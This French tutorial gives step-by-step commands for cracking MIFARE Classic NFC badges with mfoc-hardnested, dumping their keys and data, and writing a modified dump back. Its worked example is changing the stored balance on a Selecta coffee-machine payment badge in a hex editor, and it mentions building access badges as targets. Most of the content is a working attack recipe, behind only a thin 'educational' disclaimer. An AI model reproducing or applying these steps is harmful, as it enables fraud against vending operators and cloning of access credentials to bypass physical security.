CETTE PAGE A UN BUT ÉDUCATIF UNIQUEMENT, JE NE POURRAIS ÊTRE TENU POUR RESPONSABLE DE CE QUE VOUS POURRIEZ FAIRE D’ILLÉGAL AVEC CES INFORMATIONS. CET EXPLOIT EST POSSIBLE SUR LES PUCES NFC MIFARE CLASSIC, C’EST UNE GAMME DE PUCE NFC QUI UTILISE UN SYSTÈME DE CHIFFREMENT QUI A ÉTÉ CASSÉ EN 2008 (oui oui, 2008…). CETTE TECHNOLOGIE EST ENCORE UTILISÉE DANS BEAUCOUP DE SYSTÈME NFC COMME LES BADGES D’IMMEUBLES, LES DISTRIBUTEURS AUTOMATIQUE DE BOISSONS FRAICHES, CAFÉ, FRIANDISES,…
JE RAPPEL QUE LE FAIT D’EFFECTUER CECI CHEZ VOUS AVEC DU MATÉRIEL QUI VOUS APPARTIENT EST PARFAITEMENT LÉGAL. LE FAIT DE L’UTILISER SUR DU MATÉRIEL QUI NE VOUS APPARTIENT PAS AFIN DE CONTOURNER LA SÉCURITÉ D’UN SYSTÈME INFORMATIQUE EST ILLÉGAL.
Pré-requis :
• Lecteur NFC ACS ACR122U
• Un badge MiFare Classic original
• Savoir utiliser Linux un minimum
Explication pas-à-pas
1°) Installer Linux Mint
J’ai choisi Linux Mint car il détecte nativement le lecteur ACS122U, pas besoin d’installer des choses supplémentaires. Cet article à été réalisé sur Linux Mint 21.1 64bit (testé aussi sur Linux Mint 17.3, 18 & 19.3 32bit)
2°) Installer libnfc
• Voir le gestionnaire de paquet (« Menu » en bas à gauche > Gestionnaire de paquets)
• Faire une recherche pour « libnfc »
• Faite un clic-droit sur libnfc-dev,libnfc6 et libnfc-bin et cliquer sur « Sélectionner pour installation » à chaque fois.
• Cliquez sur « Appliquer » en haut à gauche
(Sinon les paquets sont téléchargeables ici : http://packages.ubuntu.com/search?keywords=libnfc&searchon=names&suite=xenial§ion=all)
3°) Installer d’autres trucs
Ouvrez un terminal et tapez ceci :
sudo apt-get install libusb-dev libccid pcscd libpcsclite1 libpcsclite-dev autoconf liblzma-dev
4°) Installer mfoc
Ouvrez un terminal et tapez ceci :
wget -O mfoc-hardnested.zip https://github.com/IxeYgrek/mfoc-hardnested/releases/download/nfc/mfoc-hardnested-master.zip
unzip mfoc-hardnested.zip
rm mfoc-hardnested.zip
cd mfoc-hardnested-master/
autoreconf -vis
./configure
make && sudo make install
cd ..
5°) Vérifier si le lecteur NFC est bien reconnu par libnfc
Ouvrez un terminal et tapez ceci :
sudo nfc-list
Normalement vous devriez avoir cette erreur :
Unable to claim USB interface (Device or resource busy)
nfc-list: ERROR: Unable to open NFC device: acr122_usb:001:020
Si vous n’avez PAS cette erreur, passez directement à l’étape 6
Faite alors ceci dans un terminal :
sudo nano /etc/modprobe.d/blacklist-libnfc.conf
Si ce n’est pas déjà le cas, ajoutez ces lignes au fichier de conf :
blacklist pn533
blacklist nfc
(On à blacklisté les drivers « nfc » et « pn533 »)
Ensuite, toujours dans un terminal, pour changer :
sudo modprobe -r pn533 nfc
(On a désactivé les modules kernel)
Toujours dans un terminal … :
sudo service pcscd restart
6°) Faire le dump de la clé
(dump = extraction complète des données de la clé dans un fichier)
Mettez votre badge sur le lecteur NFC
mfoc-hardnested -O badge.dmp
Si le badge n’utilise pas que des clés par défaut, le programme va bruteforcer les clé, ceci peut-être extrêmement long pour cracker l’intégralité de la clé. Si jamais ça plante en cours de processus, vous pourrez taper exactement la même commande qu’au dessus mais en rajoutant les clés trouvés comme ceci pour ne pas avoir à reprendre depuis le début :
mfoc-hardnested -O badge.dmp -k abd4efd57abf -k 47afdc4d5a7
Maintenant vous avez votre dump qui se trouve là où vous étiez quand vous avez tapé cette commande, et le fichier s’appel « badge.dmp »
7°) Installer un éditeur hexadécimal
Les données sur la clé sont en hexadécimal, il va donc nous falloir un éditeur hexadécimal pour pouvoir modifier notre fichier. Hexedit fait le taff.
sudo apt-get install hexedit
8°) Éditer le dump
Pour l’exemple j’utiliserais un vieux badge Selecta pour les machines à café.
sudo hexedit /<chemin_vers_ton_fichier_dump>
par exemple :
sudo hexedit /home/<nom_utilisateur>/badge.dmp
Vous obtenez une longue suite de caractère un peu comme ça :

Le « 03E8 » correspond au montant disponible sur la clé, si on converti en décimal ça nous donne 1000 soit 10.00 soit 10€00
Le « 03C022 » correspond à l’ID du badge, si on converti en décimal ça nous donne 245794 (c’est un ID au pif que j’ai modifié hein…)
Maintenant vous pouvez modifier ces informations comme bon vous semble.
Pour enregistrer, c’est « CTRL + x »
9°) Mettre le nouveau dump sur la clé
Je n’utilise plus cette méthode pour écrire sur la clé, je ne sais donc plus si cela fonctionne. Maintenant j’utilise l’application MIFARE Classic Tool disponible sur le Play Store (https://play.google.com/store/apps/details?id=de.syss.MifareClassicTool&hl=fr&gl=US)
J’ajoute les clés de chiffrement qui ont été découvertes à l’étape 6 dans le menu « Edit/add key file », je fait un dump de la clé directement sur mon smartphone via l’application (menu « Read tag » et en indiquant le fichier qui contient les clés), j’édite le dump et je le remet sur la clé via le menu « Write tag » en indiquant l’emplacement du dump et toujours le fichier contenant les clés de chiffrements.
nfc-mfclassic w B badge.dmp badge.dmp
(si y’a des bug testé un petit « sudo modprobe -r pn533 nfc » avant de relancer la commande ou changer le paramètre B par A)
Si vous copiez sur une carte chinoise dont le bloc 0 secteur 0 est modifiable il faudra les paramètres W B ou W A
Remerciements
La réalisation de ce tutoriel n’aurais pas été possible sans les personnes cités ci-dessous, elles m’ont apportées conseils et analyses.
• oros
• l’administrateur du site dyrk.org
• Seipas pour Hexedit
Sources
http://stackoverflow.com/questions/31131569/unable-to-claim-usb-interface-device-or-resource-busy
http://dyrk.org/2015/09/03/faille-nfc-distributeur-selecta/
http://www.latelierdugeek.fr/2015/07/17/dupliquer-contenu-puce-rfid-mifare-classic/
http://dyrk.org/2015/09/01/nfc-recuperer-les-cles-dun-dump-mfoc
https://samdecrock.medium.com/cracking-mifare-classic-nfc-cards-using-the-hardnested-attack-506aab3ea305
Problèmes rencontrés
PN532 init failed
Si vous avez une erreur du genre :
error libnfc.driver.acr122_usb Invalid RDR_to_PC_DataBlock frame
error libnfc.driver.acr122_usb PN532 init failed, trying again…
faite :
sudo modprobe -r pn533 nfc
Puis débranchez / rebranchez le lecteur